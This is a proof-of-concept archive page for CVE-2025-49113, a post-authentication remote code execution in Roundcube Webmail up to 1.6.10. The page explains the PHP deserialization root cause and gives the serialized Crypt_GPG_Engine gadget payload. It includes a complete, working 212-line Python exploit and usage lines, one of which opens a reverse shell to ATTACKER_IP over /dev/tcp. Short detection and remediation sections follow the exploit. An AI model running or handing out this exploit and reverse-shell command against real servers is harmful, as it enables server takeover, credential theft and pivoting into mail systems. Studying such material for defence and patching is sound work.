PoC Archive PoC Archive
Critical CVE-2025-49113 unpatched

Roundcube Webmail Post-Auth RCE via PHP Object Deserialization (CVE-2025-49113)

by rippsec · 2026-07-06

CVSS 9.9/10
Severity
Critical
CVE
CVE-2025-49113
Category
web
Affected product
Roundcube Webmail
Affected versions
≤ 1.6.10
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherrippsec
CVE / AdvisoryCVE-2025-49113
Categoryweb
SeverityCritical
CVSS Score9.9 (per NVD)
StatusWeaponized
Tagsroundcube, webmail, php, deserialization, object-injection, gadget-chain, rce, post-auth, cwe-502
RelatedN/A

Affected Target

FieldValue
Software / SystemRoundcube Webmail
Versions Affected≤ 1.6.10
Language / PlatformPython 3 (stdlib only) PoC targeting a PHP web application
Authentication RequiredYes (any valid Roundcube user account)
Network Access RequiredYes (HTTP/HTTPS to the Roundcube instance)

Summary

Roundcube Webmail versions up to and including 1.6.10 are vulnerable to a post-authentication PHP object deserialization vulnerability in the file upload handler, which passes a client-supplied attachment filename through a deserialization path without validation. The root cause is that the Crypt_GPG_Engine class (present in Roundcube’s dependency chain) acts as a usable gadget chain: its _gpgconf property is invoked in a system-level call during object handling. An authenticated attacker can craft a serialized Crypt_GPG_Engine object as the filename of an uploaded attachment, causing the server to instantiate it and execute an attacker-controlled OS command as the webserver user. The included Python PoC logs into Roundcube, then uploads a multipart file whose filename field contains the malicious serialized payload (with the command Base32-encoded to survive the filename field’s character restrictions), achieving full remote command execution.


Vulnerability Details

Root Cause

Roundcube’s ?_task=settings&_action=upload endpoint deserializes the client-supplied filename field of an uploaded attachment without validating or restricting which classes may be instantiated (CWE-502). The Crypt_GPG_Engine class, reachable via Roundcube’s dependencies, exposes a _gpgconf property that is passed into a system-level call when the object is processed. By serializing an instance of this class with a _gpgconf value of the form <base32-command> | base32 -d | sh &#, an attacker forces execution of an arbitrary shell command:

|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

The command is Base32-encoded (base64.b32encode) specifically to avoid characters (quotes, slashes) that would break the multipart filename field, and the trailing &# backgrounds the command and comments out any trailing garbage appended by Roundcube.

Attack Vector

  1. GET /?_task=login — fetch the CSRF token (_token input) and session cookie from the login page.
  2. POST /?_task=login with _token, _user, _pass — authenticate with any valid Roundcube credentials; a 302 response confirms success and refreshes session cookies.
  3. Build the malicious serialized Crypt_GPG_Engine payload embedding the target OS command (Base32-encoded), and escape double quotes for use in a multipart filename.
  4. POST /?_task=settings&_remote=1&_action=upload with a multipart body where Content-Disposition: form-data; name="_file[]"; filename="<payload>" carries the serialized object (disguised with a minimal valid PNG body/Content-Type: image/png).
  5. The server deserializes the filename into a Crypt_GPG_Engine object; its _gpgconf field is passed to a system-level call, executing echo "<B32_CMD>" | base32 -d | sh &# as the webserver user.

Impact

Any authenticated Roundcube user (regardless of privilege level) can achieve arbitrary remote command execution as the webserver process user, leading to full server compromise (webshell drop, credential theft from Roundcube’s DB config, pivoting into internal mail infrastructure).


Environment / Lab Setup

Target:   Roundcube Webmail <= 1.6.10 with a valid low-privilege user account
Attacker: Python 3 (standard library only: http.client, urllib, base64, html.parser) — no third-party
          dependencies required

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
4
python3 exploit.py -u <USER> -p <PASS> -i http://TARGET -x "id"

python3 exploit.py -u <USER> -p <PASS> -i http://TARGET \
  -x "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Authenticates to Roundcube, then uploads a crafted multipart file whose filename contains a serialized Crypt_GPG_Engine gadget chain, triggering command execution on the server via the _gpgconf sink.


Detection & Indicators of Compromise

Signs of compromise:

  • Roundcube access logs showing upload requests with abnormally long or serialized-looking filenames
  • Unexpected sh/base32 child processes under the PHP-FPM/Apache/Nginx worker
  • New webshells or unauthorized files in the Roundcube webroot
  • Outbound connections from the mail server to unfamiliar attacker-controlled IPs/ports

Remediation

ActionDetail
Primary fixUpgrade Roundcube Webmail to a version newer than 1.6.10 that sanitizes/restricts deserialization of upload filenames
Interim mitigationRestrict or disable the GPG/Crypt_GPG dependency chain if unused; enforce WAF rules blocking PHP serialization markers (O:, s:) in upload filename fields; monitor for anomalous child processes spawned by the webmail server

References


Notes

Mirrored from https://github.com/rippsec/CVE-2025-49113-Roundcube-RCE on 2026-07-06. 212-line exploit.py logs in then uploads a multipart file with a serialized gadget-chain filename; stdlib-only, no obfuscation.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#!/usr/bin/env python3
"""
Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization (CVE-2025-49113)
Description: 
    Authenticates to Roundcube webmail and exploits PHP object deserialization vulnerability 
    to execute system commands. Uses only standard libraries for compatibility.
"""

import argparse
import base64
import random
import string
import http.client
import urllib.parse
import re
import sys
from html.parser import HTMLParser

class CSRFExtractor(HTMLParser):
    """HTML Parser to extract CSRF tokens from input fields"""
    def __init__(self):
        super().__init__()
        self.csrf_token = None
        
    def handle_starttag(self, tag, attrs):
        if tag == "input":
            attrs = dict(attrs)
            if attrs.get("name") == "_token":
                self.csrf_token = attrs.get("value", "")

class RoundcubeExploit:
    def __init__(self, target, username, password):
        # Parse target URL
        self.target = target.rstrip('/')
        self.parsed_target = urllib.parse.urlparse(self.target)
        self.username = username
        self.password = password
        self.cookies = {}
        self.headers = {'User-Agent': 'Mozilla/5.0'}

        # Validate URL scheme
        if self.parsed_target.scheme not in ['http', 'https']:
            raise ValueError("Invalid URL scheme. Use http:// or https://")

    def _get_connection(self):
        """Create HTTP/HTTPS connection based on target scheme"""
        if self.parsed_target.scheme == 'https':
            return http.client.HTTPSConnection(self.parsed_target.netloc)
        return http.client.HTTPConnection(self.parsed_target.netloc)

    def _update_cookies(self, response_headers):
        """Update cookies from Set-Cookie headers"""
        for header in response_headers:
            if header[0].lower() == 'set-cookie':
                cookie = header[1].split(';')[0]
                key, value = cookie.split('=', 1)
                self.cookies[key] = value

    def _get_cookie_header(self):
        """Format cookies into header string"""
        return '; '.join(f"{k}={v}" for k, v in self.cookies.items())

    def fetch_csrf_token(self):
        """Fetch initial CSRF token and session cookies"""
        conn = self._get_connection()
        path = self.parsed_target.path + '/?_task=login'
        conn.request("GET", path, headers=self.headers)
        res = conn.getresponse()
        
        if res.status != 200:
            raise Exception(f"Failed to fetch login page (HTTP {res.status})")
        
        # Extract and update cookies
        self._update_cookies(res.getheaders())
        html = res.read().decode()
        conn.close()

        # Parse CSRF token from HTML
        parser = CSRFExtractor()
        parser.feed(html)
        if not parser.csrf_token:
            raise Exception("CSRF token not found in login page")
        return parser.csrf_token

    def login(self, csrf_token):
        """Authenticate to Roundcube using credentials"""
        conn = self._get_connection()
        path = self.parsed_target.path + '/?_task=login'
        
        # Prepare login payload
        post_data = urllib.parse.urlencode({
            '_token': csrf_token,
            '_task': 'login',
            '_action': 'login',
            '_url': '_task=login',
            '_user': self.username,
            '_pass': self.password
        })
        
        # Add cookies to headers
        headers = {**self.headers, 'Content-Type': 'application/x-www-form-urlencoded'}
        headers['Cookie'] = self._get_cookie_header()
        
        conn.request("POST", path, body=post_data, headers=headers)
        res = conn.getresponse()
        
        # Update cookies from response
        self._update_cookies(res.getheaders())
        conn.close()
        
        if res.status != 302:
            raise Exception(f"Login failed (HTTP {res.status})")

    def generate_payload(self, command):
        """Create malicious PHP serialized payload"""
        # Base32 encode command to avoid special characters
        b32_cmd = base64.b32encode(command.encode()).decode()
        full_cmd = f'echo "{b32_cmd}" | base32 -d | sh &#'
        
        # Construct serialized object
        payload = (
            f'|O:16:"Crypt_GPG_Engine":3:'
            f'{{s:8:"_process";b:0;'
            f's:8:"_gpgconf";s:{len(full_cmd)}:"{full_cmd}";'
            f's:8:"_homedir";s:0:"";}}'
        )
        # Escape double quotes for filename
        return payload.replace('"', '\\"')

    def execute_exploit(self, command):
        """Upload malicious payload and trigger command execution"""
        # Generate payload filename
        payload_filename = self.generate_payload(command)
        
        # Prepare multipart form data
        boundary = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
        png_data = base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
        
        # Build multipart body
        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="_file[]"; filename="{payload_filename}"\r\n'
            f"Content-Type: image/png\r\n\r\n"
        ).encode() + png_data + f"\r\n--{boundary}--\r\n".encode()

        # Generate random URL parameters
        actions = ['compose', 'reply', 'import', 'settings', 'folders', 'identity']
        url_params = urllib.parse.urlencode({
            '_task': 'settings',
            '_remote': '1',
            '_from': f'edit-!{random.choice(actions)}',
            '_id': ''.join(random.choices(string.hexdigits, k=8)),
            '_uploadid': f'upload{int(time.time()*1000)}',
            '_action': 'upload'
        })

        # Prepare request
        conn = self._get_connection()
        path = f"{self.parsed_target.path}/?{url_params}"
        headers = {
            **self.headers,
            'Content-Type': f'multipart/form-data; boundary={boundary}',
            'Cookie': self._get_cookie_header(),
            'Content-Length': str(len(body))
        }

        # Send exploit payload
        conn.request("POST", path, body=body, headers=headers)
        res = conn.getresponse()
        conn.close()
        
        if res.status != 200:
            print(f"[!] Exploit may have failed (HTTP {res.status})")
        else:
            print("[+] Exploit completed. Check for command execution.")

def main():
    parser = argparse.ArgumentParser(description='Roundcube CVE-2025-49113 Exploit')
    parser.add_argument('-u', '--username', required=True, help='Roundcube username')
    parser.add_argument('-p', '--password', required=True, help='Roundcube password')
    parser.add_argument('-i', '--target', required=True, help='Target URL (e.g., http://mail.target.htb)')
    parser.add_argument('-x', '--command', required=True, help='Command to execute')
    args = parser.parse_args()

    try:
        print("[*] Starting Roundcube exploit (CVE-2025-49113)")
        
        # Initialize exploit
        exploit = RoundcubeExploit(args.target, args.username, args.password)
        
        # Step 1: Get CSRF token
        print("[*] Fetching CSRF token...")
        csrf_token = exploit.fetch_csrf_token()
        print(f"[+] Got CSRF token: {csrf_token}")
        
        # Step 2: Authenticate
        print("[*] Authenticating...")
        exploit.login(csrf_token)
        print("[+] Authentication successful")
        
        # Step 3: Execute exploit
        print(f"[*] Executing command: {args.command}")
        exploit.execute_exploit(args.command)
        print("[+] Exploit completed. Check target for command execution.")
        
    except Exception as e:
        print(f"[-] Exploit failed: {str(e)}", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    import time  # Import moved here for clarity
    main()